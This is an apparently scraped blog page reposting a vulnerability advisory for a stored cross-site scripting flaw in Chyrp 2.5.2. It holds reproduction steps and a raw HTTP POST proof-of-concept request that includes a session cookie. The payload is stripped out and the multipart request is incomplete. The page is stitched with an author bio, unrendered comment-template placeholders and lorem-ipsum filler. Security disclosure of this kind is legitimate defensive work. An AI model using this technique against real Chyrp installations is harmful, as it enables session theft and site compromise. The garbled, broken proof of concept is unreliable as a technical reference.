PHL Tech Magazine

Post: Chyrp 2.5.2 Cross Site Scripting



Hi, I'm Prem. I'm professional WordPress Web Developer. I developed this website. And writing articles about Finance, Startup, Business, Marketing and Tech is my hobby.
Hope you will always get informative articles which will help you to startup your business.
If you need any kind of wordpress website then feel free to contact me at


Chyrp 2.5.2 Cross Site Scripting

# Chyrp 2.5.2 – Stored Cross-Site Scripting (XSS)
# Date: 2024-04-24
# Exploit Author: Ahmet Ümit BAYRAM
# Vendor Homepage:
# Software Link:
# Version: 2.5.2
# Tested on: MacOS
### Steps to Reproduce ###
– Login from the address: http://localhost/chyrp/?action=login.
– Click on ‘Write’.
– Type this payload into the ‘Title’ field: “>
– Fill in the ‘Body’ area and click ‘Publish’.
– An alert message saying “Stored” will appear in front of you.
### PoC Request ###
POST /chyrp/admin/?action=add_post HTTP/1.1
Host: localhost
Cookie: ChyrpSession=c4194c16a28dec03e449171087981d11;
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:124.0)
Gecko/20100101 Firefox/124.0
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data;
Content-Length: 1194
Origin: http://localhost
Referer: http://localhost/chyrp/admin/?action=write_post
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
Content-Disposition: form-data; name=”title”
Content-Disposition: form-data; name=”body”


Content-Disposition: form-data; name=”status”
Content-Disposition: form-data; name=”slug”
Content-Disposition: form-data; name=”created_at”
04/24/24 12:31:57
Content-Disposition: form-data; name=”original_time”
04/24/24 12:31:57
Content-Disposition: form-data; name=”trackbacks”
Content-Disposition: form-data; name=”feather”
Content-Disposition: form-data; name=”hash”

Thanks for you comment!
Your message is in quarantine 48 hours.

{{ x.nick }}



{{ x.ux * 1000 | date:’yyyy-MM-dd’ }} {{ x.ux * 1000 | date:’HH:mm’ }} CET+1

{{ x.comment }}

The post Chyrp 2.5.2 Cross Site Scripting appeared first on DIGITALIVE.WORLD.

Lora Helmin

Lora Helmin

Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.

Leave a Reply

Your email address will not be published. Required fields are marked *

Related Popular Posts

Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.